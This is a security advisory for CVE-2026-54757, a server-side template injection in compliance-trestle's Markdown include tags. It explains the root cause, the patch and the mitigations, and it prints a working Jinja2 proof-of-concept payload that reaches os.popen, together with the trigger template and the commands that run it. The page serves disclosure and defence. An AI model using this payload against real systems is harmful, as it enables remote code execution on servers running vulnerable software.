CVE-2026-54757: compliance-trestle Server-Side Template Injection via Markdown Include Tags
A malicious Markdown file placed in a trestle workspace can execute arbitrary operating system commands on the server because the md_clean_include and mdsection_include Jinja2 tags re-parse untrusted…

The problem
The custom Jinja2 tags MDCleanInclude and MDSectionInclude in trestle/core/jinja/tags.py load Markdown file content from the workspace and pass it directly to Parser(self.environment, content).parse(). This treats attacker-controlled text as executable Jinja2 source, not as plain data.
Because the environment is a plain jinja2.Environment (not SandboxedEnvironment), injected expressions can walk Python's object graph to reach os.popen() or subprocess, achieving full remote code execution. Any user or pipeline with write access to the trestle workspace can trigger the payload by placing a crafted .md file that is referenced by a trusted template.
Proof of concept
A working proof-of-concept for CVE-2026-54757 in compliance-trestle, with the exact payload below.
# malicious.md — place in trestle workspace
---
yaml_header: ignored
---
# Compliance Documentation
Execute command: {{ ssp.__class__.__init__.__globals__.__builtins__.__import__('os').popen('whoami').read() }}
---
# trigger.md.jinja — the trusted template that includes the malicious file
{% md_clean_include "malicious.md" %}
---
# Run:
# trestle init
# trestle author jinja -i trigger.md.jinja -o output.md -lut empty.yaml
#
# output.md will contain the result of whoami (e.g. "root")The root cause is in MDCleanInclude.parse() (tags.py:148-149) and MDSectionInclude.parse() (tags.py:100-101): both call Parser(self.environment, tainted_string).parse(), which compiles attacker-supplied Markdown body text as Jinja2 template source inside an un-sandboxed Environment.
No sanitization occurs at any of the four transform steps (FileSystemLoader.get_source, frontmatter.loads, string assignment, adjust_heading_level); autoescape=True is irrelevant because it only encodes HTML output, it does not prevent expression evaluation.
The patch replaces both Parser() calls with nodes.Output([nodes.TemplateData(content)]), which emits the Markdown content as a literal string node rather than re-parsing it as code. A complementary defense-in-depth step switches _create_jinja_environment() from jinja2.Environment to jinja2.sandbox.SandboxedEnvironment.
CWE-94 (Code Injection) applies because user-supplied data is injected into a code-generation pipeline.
The fix
Upgrade compliance-trestle to 3.12.4 (or 4.0.4+ for the 4.x line). The fix in commit 0f82d19bd42f9cc0f1b3acd7fc3f6dafe3b6ae10 replaces Parser(self.environment, content).parse() in both MDCleanInclude and MDSectionInclude with nodes.Output([nodes.TemplateData(content)]), so included Markdown is emitted as literal text.
Commit 5335ff873a2a68eb7de43df029bea09cadff22fd adds SandboxedEnvironment as a second layer. Until you can upgrade, remove MDCleanInclude and MDSectionInclude from the extensions list in trestle/core/jinja/ext.py and restrict write access to the trestle workspace to trusted users only.
Related research
- highmcp-contextforge-gateway Server-Side Template Injection (SSTI) leading to RCE
- high · 8.8CVE-2026-55585CVE-2026-55585: qwed Authenticated Remote Code Execution via Unsafe SymPy parse_expr()
- critical · 9.8CVE-2026-55546CVE-2026-55546: qwed-mcp Remote Code Execution via Unsafe SymPy parse_expr()
- high · 7.8CVE-2026-68508CVE-2026-68508: hydra-core Unsafe Instantiation Code Injection